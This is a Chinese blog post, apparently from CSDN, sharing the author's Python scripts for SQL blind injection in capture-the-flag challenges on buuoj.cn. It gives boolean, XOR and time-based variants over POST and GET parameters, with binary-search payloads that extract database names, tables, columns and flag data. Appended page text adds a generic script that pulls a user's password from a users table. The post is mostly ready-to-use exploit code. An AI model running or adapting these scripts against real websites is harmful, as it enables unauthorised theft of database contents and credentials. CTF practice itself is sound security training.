ctf各种sql盲注脚本

以下的几个脚本都是自己写的(有参考别的大佬),代码可能不是最精简,但是还算顺眼

核心算法都是二分法,不推荐时间盲注(速度硬伤)

脚本payload参考题目:[第一章 web入门]SQL注入-2 / 极客大挑战finilysql(buuctf)

1.通过post传参的脚本


用的时候修改post参数和个数

1.1 基于异或盲注布尔盲注等:

import requests

url = 'http://736aa374-b497-441f-9b6a-a1c91f9b182b.node4.buuoj.cn:81/login.php'
flag = ''

for i in range(1, 1000):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #payload = f"1' or ascii(substr(database(),{i},1))>{mid}#"    #查库
        #payload = f"1' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid}#"   #查表
        #payload = f"1' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='fl4g'),{i},1))>{mid}#"   #查列
        payload = f"1' or ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid}#"   #查数据
        data = {
            "name":payload,
            "pass":'qwer'
        }
        response = requests.post(url, data = data)
        if 'u6216' in response.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2       
    if low != 32 :
        flag += chr(int(low))
    else:
        break
    print(flag)

1.2 基于时间盲注

import requests
import time

url = 'http://736aa374-b497-441f-9b6a-a1c91f9b182b.node4.buuoj.cn:81/login.php'
flag = ''

for i in range(1,1000):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #payload = f"1' or if(ascii(substr(database(),{i},1))>{mid},sleep(2),1)#"       #查库名
        #payload = f"1'or if(ascii(substr((seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema)='note'),{i},1))>{mid},sleep(2),1)#"        #查表名
        #payload = f"1'or if(ascii(substr((seleCt(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),{i},1))>{mid},sleep(2),1)#"        #查列名
        payload = f"1'or if(ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid},sleep(2),1)#"       #查数据
        data = {
            "name":payload,
            "pass":'qwer'
        }        
        last = int(time.time())
        response = requests.post(url, data = data)
        now = int(time.time())
        if now - last > 1 :    
            low = mid + 1
        else :
            high = mid
        mid = (low + high) // 2 
    if low != 32 :
        flag += chr(int(low))
    else:
        break
    print(flag)

2.通过get传参的脚本


修改url 和 文本

2.1 基于异或盲注,布尔盲注等:

import requests

url = "http://d98fb290-369c-4ad8-8cd5-883846041dad.node4.buuoj.cn/search.php?id="
name = ''

for i in range(1,1000):
    min = 32
    max = 128
    while min<max:
        mid = (min + max) // 2
        payload=f"1^(ascii(substr(database(),{i},1))>{mid})#"       #查库名
        #payload=f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{i},1))>{mid})#"        #查表名
        #payload=f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y'),{i},1))>{mid})#"      #查列名
        #payload=f"1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})#"       #查数据
        response=requests.get(url=url+payload)
        if 'ERROR' in response.text:
            min = mid + 1
        else:
            max=mid
    if min != 32 :
        name += chr(min)
    else:
        break
    print(name)

2.2 基于时间盲注:

import requests
import time 

url = "http://d98fb290-369c-4ad8-8cd5-883846041dad.node4.buuoj.cn/search.php?id="
name = ''

for i in range(1,1000):
    min = 32
    max = 128
    while min<max:
        mid = (min + max) // 2
        payload=f" "       #查库名
        #payload=f" "        #查表名
        #payload=f" "      #查列名
        #payload=f" "       #查数据
        last = int(time.time())
        response=requests.get(url=url+payload)
        now = int(time.time())
        if now - last > 1:
            min = mid + 1
        else:
            max=mid
    if min != 32 :
        name += chr(min)
    else:
        break
    print(name)

3.备注

1.payload不放了,这个做题慢慢积累,网上也都有,根据题目自己写

2.能不使用sleep就不使用,速度比其他的方法慢太多

3.在网不好的情况下可能会出现脚本打印的字符错误,不是代码问题

4.自己写的脚本可能不完善,有问题或者有建议留言,有需求也可以自改

5.遇到新的脚本或者方法再补充


  • 10
    点赞
  • 38
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
以下是一个基本的 Python SQL 盲注脚本,它可以用于测试 SQL 注入攻击: ```python import requests # 目标URL url = "http://example.com/login.php" # 注入参数 injection_param = "username" # 注入语句 injection_statement = "' or 1=1#" # 发送请求并检查响应 def check_response(response): if "登录成功" in response.text: return True else: return False # 枚举字符 def enum_chars(): for i in range(32, 127): injection_payload = injection_statement.replace("1=1", f"ascii(substring((select password from users where id=1), 1, 1))={i}") data = {injection_param: injection_payload} response = requests.post(url, data=data) if check_response(response): print(chr(i), end="") # 枚举长度 def enum_length(): length = 0 while True: injection_payload = injection_statement.replace("1=1", f"length((select password from users where id=1))={length}") data = {injection_param: injection_payload} response = requests.post(url, data=data) if check_response(response): return length length += 1 # 枚举内容 def enum_content(): password_length = enum_length() password = "" for i in range(1, password_length+1): for j in range(32, 127): injection_payload = injection_statement.replace("1=1", f"ascii(substring((select password from users where id=1), {i}, 1))={j}") data = {injection_param: injection_payload} response = requests.post(url, data=data) if check_response(response): password += chr(j) break print("Password:", password) # 枚举密码 enum_content() ``` 这是一个基本的脚本,它可以枚举数据库中的密码。请注意,这只是一个简单的演示,实际上,SQL 注入攻击可能需要更复杂的技术。此外,SQL 注入是非常危险的攻击,如果您不知道自己在做什么,请不要尝试。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值